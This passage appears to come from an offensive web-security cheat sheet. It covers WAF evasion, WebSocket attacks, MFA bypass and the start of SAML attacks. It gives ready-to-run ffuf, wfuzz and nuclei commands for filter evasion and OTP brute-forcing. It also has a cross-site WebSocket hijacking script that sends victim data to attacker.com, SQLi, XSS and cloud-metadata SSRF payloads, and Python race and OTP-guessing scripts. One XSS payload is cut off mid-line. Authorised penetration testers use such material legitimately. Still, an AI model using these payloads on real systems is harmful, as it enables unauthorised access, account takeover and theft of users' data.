-fc 403,429 \ # filter 403 and 429 status codes
-fw 97 \ # filter responses with 97 words (WAF block page)
-fs 512 # filter 512-byte responses (WAF block page size)
# 403 bypass: fuzz the X-Forwarded-For header with IP list
ffuf -u https://target.com/admin -w ips.txt \
-H "X-Forwarded-For: FUZZ" -mc 200
wfuzz:
wfuzz -z file,wordlist.txt \
--hc 403,429 \
-t 5 \ # 5 threads (lower = less noisy)
-s 0.5 \ # 0.5s delay between requests
-H "X-Forwarded-For: 127.0.0.1" \
https://target.com/FUZZ
# Multiple header injection for 403 bypass
wfuzz -z file,headers.txt -H "FUZZ" --hc 403 https://target.com/admin
nuclei:
# Rate limit WAF evasion
nuclei -u https://target.com \
-rate-limit 10 \ # 10 req/s max
-bulk-size 5 \ # 5 hosts per template batch
-c 5 \ # 5 concurrent templates
-H "X-Forwarded-For: 127.0.0.1" \
-H "User-Agent: Mozilla/5.0"
# WAF detection first
nuclei -u https://target.com -t http/technologies/waf-detect.yaml
# Custom headers on all requests
nuclei -u https://target.com \
-H "Referer: https://target.com/" \
-H "X-Forwarded-For: 127.0.0.1"
Burp Suite Extensions for WAF Bypass
| Extension | Function | Source |
|---|---|---|
| nowafpls | Insert junk at cursor (JSON/XML/URL/multipart/GraphQL) to push past WAF inspection limit | assetnote/nowafpls |
| nowafplsV2 | Auto-inject junk for Active Scanner / DAST runs | irwankusuma/nowafplsV2 |
| WAF Bypadd | Pad requests with dummy data to exceed WAF inspection ceiling | PortSwigger/waf-bypadd |
| HTTP Smuggler | CL.TE / TE.CL / TE.TE desync testing | nccgroup/BurpSuiteHTTPSmuggler |
| Hackvertor | In-request encoding transforms (nest URL+HTML+unicode+base64) | PortSwigger BApp Store |
| Param Miner | Discover hidden/undocumented parameters | PortSwigger BApp Store |
| IP Rotate | Rotate source IP via AWS API Gateway | PortSwigger BApp Store |
| Chunked Coding Converter | Transform requests to chunked Transfer-Encoding | BApp Store / c0ny1 |
| SAMLRaider | XSW, signature stripping, XXE in SAML assertions | BApp Store |
WEBSOCKET PAYLOADS
IDOR / Auth Bypass
// Test: subscribe to other user's channel
{"action": "subscribe", "channel": "user_VICTIM_ID_HERE"}
{"action": "get_history", "userId": "VICTIM_UUID"}
{"action": "getProfile", "id": 2}
{"action": "admin.listUsers"}
{"action": "admin.getToken", "userId": "1"}
Cross-Site WebSocket Hijacking (CSWSH)
<!-- Host on attacker site. If no Origin validation, steals victim's WS data. -->
<script>
var ws = new WebSocket('wss://target.com/ws');
// Browser automatically sends victim's cookies
ws.onopen = () => ws.send(JSON.stringify({action:"getProfile"}));
ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data));
</script>
Test Origin Validation
# Should reject non-target origins. If it doesn't = CSWSH vulnerability
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
wscat -c "wss://target.com/ws" -H "Origin: null"
wscat -c "wss://target.com/ws" -H "Origin: https://target.com.evil.com"
Injection via WS Messages
// XSS in chat/notification system
{"message": "<img src=x
// SQLi
{"action": "search", "query": "' OR 1=1--"}
// SSRF (if server fetches URLs from messages)
{"action": "preview", "url": "http://169.254.169.254/latest/meta-data/"}
MFA / 2FA BYPASS PAYLOADS
Pattern 1: OTP Brute Force (no rate limit)
# Try all 6-digit OTPs
ffuf -u "https://target.com/api/verify-otp" \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"otp":"FUZZ"}' \
-w <(seq -w 000000 999999) \
-fc 400,429 \
-t 5
# Rate limit bypass: rotate session tokens between requests
# Or use GraphQL batching to send 100 attempts per request
Pattern 2: OTP Reuse (token not invalidated)
1. Request OTP → receive "123456"
2. Submit OTP correctly → authenticated
3. Log out
4. Log in again
5. Submit same OTP "123456" (expired? still works?)
6. Try OTP from previous session at new login
Pattern 3: Response Manipulation
Step 1: Enter wrong OTP → intercept response in Burp
Step 2: Change: {"success": false, "message": "Invalid OTP"} → {"success": true}
Step 3: Forward modified response → sometimes app trusts it and proceeds
Also try: change status code 401 → 200, or change redirect from /failed to /dashboard
Pattern 4: Code Predictability
import requests, time
# Some implementations use timestamp-based OTPs:
for t_offset in range(-30, 31): # Test ±30 seconds
totp_value = generate_totp(secret, time.time() + t_offset)
r = requests.post("https://target.com/api/mfa", json={"otp": totp_value})
if r.status_code == 200:
print(f"VALID at offset {t_offset}s: {totp_value}")
break
Pattern 5: Backup Codes Not Rate Limited
# Backup codes are typically 8-character alphanumeric = smaller space than 6-digit TOTP
# Try brute force on /api/verify-backup-code if no rate limit
Pattern 6: Skip MFA Step (Workflow Bypass)
# After entering username/password, you get a session cookie
# Test: skip the /mfa/verify step entirely, go directly to /dashboard
# If cookie grants access before MFA = auth flow bypass
# Also: complete MFA in one session, reuse cookie in another browser
# Checks whether MFA completion is tied to the specific session
Pattern 7: Race on MFA Verification
import asyncio, aiohttp
# Race 2 MFA verifications simultaneously
# If both succeed = parallel session ATO
async def verify(session, otp):
async with session.post("https://target.com/api/mfa/verify",
json={"otp": otp}) as r:
return await r.json()
async def race():
async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s:
results = await asyncio.gather(verify(s, "123456"), verify(s, "123456"))
print(results)
asyncio.run(race())
SAML ATTACKS
Attack 1: XML Signature Wrapping (XSW)
<!-- Original valid assertion: -->
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
<ds:Signature>VALID_SIGNATURE_OVER_legit</ds:Signature>
…(truncated)